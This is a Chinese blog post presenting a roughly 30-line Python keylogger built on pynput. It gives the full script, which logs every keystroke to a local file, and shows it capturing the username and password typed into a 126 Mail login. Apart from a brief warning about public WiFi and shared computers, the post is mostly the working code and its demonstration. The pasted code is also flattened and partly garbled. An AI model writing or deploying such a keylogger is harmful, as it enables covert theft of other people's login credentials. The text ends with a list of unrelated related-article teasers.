python你TM太皮了——区区30行代码就能记录键盘的一举一动

目录

先看看效果

一、公共WiFi 公用电脑什么的

二、键盘记录器

三、python代码实现

1、安装pynput模块

2、脚本完整代码

3、启动脚本

4、登录126邮箱 抓取用户信息

四、安全提示


先看看效果

Like This↓

一、公共WiFi 公用电脑什么的

在我们日常在线上工作、玩耍时,不论开电脑、登录淘宝、玩网游

统统都会用到键盘输入

在几乎所有网站,例如淘宝、百度、126邮箱等等

为了保护用户信息

登录时,输入框都是不可见的。

但是,输入框都在界面上隐藏,让我们看不到,就能真正的确保万无一失吗?

二、键盘记录器

今天介绍一种,通过键盘记录的方法,获取用户通过键盘输入的所有信息

并实现获取126邮箱的登录用户信息。

三、python代码实现

1、安装pynput模块

PS C:\WINDOWS\system32> pip install pynput            Collecting pynput Downloading pynput-1.7.2-py2.py3-none-any.whl (99 kB) |████████████████████████████████| 99 kB 51 kB/sRequirement already satisfied: six in d:\python36\lib\site-packages (from pynput) (1.12.0)Installing collected packages: pynputSuccessfully installed pynput-1.7.2PS C:\WINDOWS\system32>

2、脚本完整代码

# -*- coding:utf-8 -*-  from pynput.keyboard import Key, Controller,Listenerimport timekeyboard = Controller()keys=[]def on_press(key):    string = str(key).replace(''','')
def on_release(key):    global keys    string = str(key).replace(''','')    keys.append('\r'+string)    main_string = ''.join(keys)    print(main_string)    if len(main_string)>15:      with open('D:\keys.txt', 'a') as f:          f.write(main_string)             keys= []    with Listener(on_press=on_press,on_release=on_release) as listener:    listener.join()

3、启动脚本

将脚本放置在电脑的某个路径下,运行该程序;所有的键盘输入,都会被记录在相同目录下的keys.txt文档中。

PS D:\test> python .\keyRecord.py

4、登录126邮箱 抓取用户信息

在脚本运行状态下,登录126邮箱,可以看到,通过键盘输入的信息都被写入到了keys.txt文档中,包括用户名输完之后的tab按钮和确定enter登录按钮

四、安全提示

陌生WiFi不要随便连

陌生电脑不要随便用

emmmm~~~~

(0)

相关推荐

  • Redis实现分布式文件夹锁

    缘起 最近做一个项目,类似某度云盘,另外附加定制功能,本人负责云盘相关功能实现,这个项目跟云盘不同的是,以项目为分配权限的单位,同一个项目及子目录所有有权限的用户可以同时操作所有文件,这样就很容易出现 ...

  • 30 行代码带你用 Python 在命令行查看图片

    来源:Python 技术「ID: pythonall」 每次看黑客类的电影时都惊叹于黑客的技术之高超,黑客的手在键盘上飞快的敲击,屏幕上各种字符狂闪不止,接着系统就被黑掉了. 我们都知道黑客在命令行发 ...

  • 实战!Python 30 行代码画各种 3D 图形

    来源:Python 技术「ID: pythonall」 在之前的文章有讲解过 Matplotlib 的用法,可能有的小伙伴们已经略有忘记,如果有不熟悉的读者朋友们请回顾Matplotlib学习进阶 , ...

  • 30行代码实现朋友圈自动点赞

    首先祝大家新年快乐,过年了,允许我水一篇博客.不知道大家都回老家了没,不过我是没有回去,晚上吃完年夜饭看到很多人发朋友圈,为了增进和大家的友谊,于是就想着给大家点个赞,无奈内容太多了,就搞个自动化脚本 ...

  • 【大开眼界】30行代码,让27吨发电机原地爆炸

    [高度重视]电厂发电机氢爆炸事故及预防!!! 只需要30行代码 (约140KB的文件),就能让20吨的发电机原地爆炸? 这一幕确实发生在了美国爱达荷州的测试场地上. 黑客模拟者将大约30行代码推进保护 ...

  • 30 行代码实现蚂蚁森林自动偷能量

    给Python开发者加星标,提升Python技能) 来源:CSDN- xindoo 虽然我支付宝加了好多好友,平时有很多能量可以偷,但由于太懒,至今一棵树都没种成,所以心心念念把偷能量这事自动化.之前 ...

  • 30行代码让27吨发电机原地爆炸

    点击上方 蓝字关注我们    正文    只需要30行代码 (约140KB的文件),就能让20吨的发电机原地爆炸? 这一幕确实发生在了美国爱达荷州的测试场地上. 黑客模拟者将大约30行代码推进保护继电 ...

  • 30行代码,让27吨发电机原地爆炸

    只需要30行代码 (约140KB的文件),就能让20吨的发电机原地爆炸? 这一幕确实发生在了美国爱达荷州的测试场地上. 黑客模拟者将大约30行代码推进保护继电器中,不到23秒,机器就已经开始摇晃. 又 ...

  • 行情太烂?从30元/斤跌到5元/斤,谁碰谁遭殃,产地卖不动

    导读:行情太烂?从30元/斤跌到5元/斤,谁碰谁遭殃,产地卖不动 要说李子行情低迷,可能这就是市场规律了,毕竟最早一批的李子在3月份已经上市,经过一个多月的市场消费来看,消费出现疲软,消除新鲜感也是正 ...

  • 怼人不带脏字的话,霸气毒辣,太皮的句子!

    怼人不带脏字的话,霸气毒辣,太皮的句子!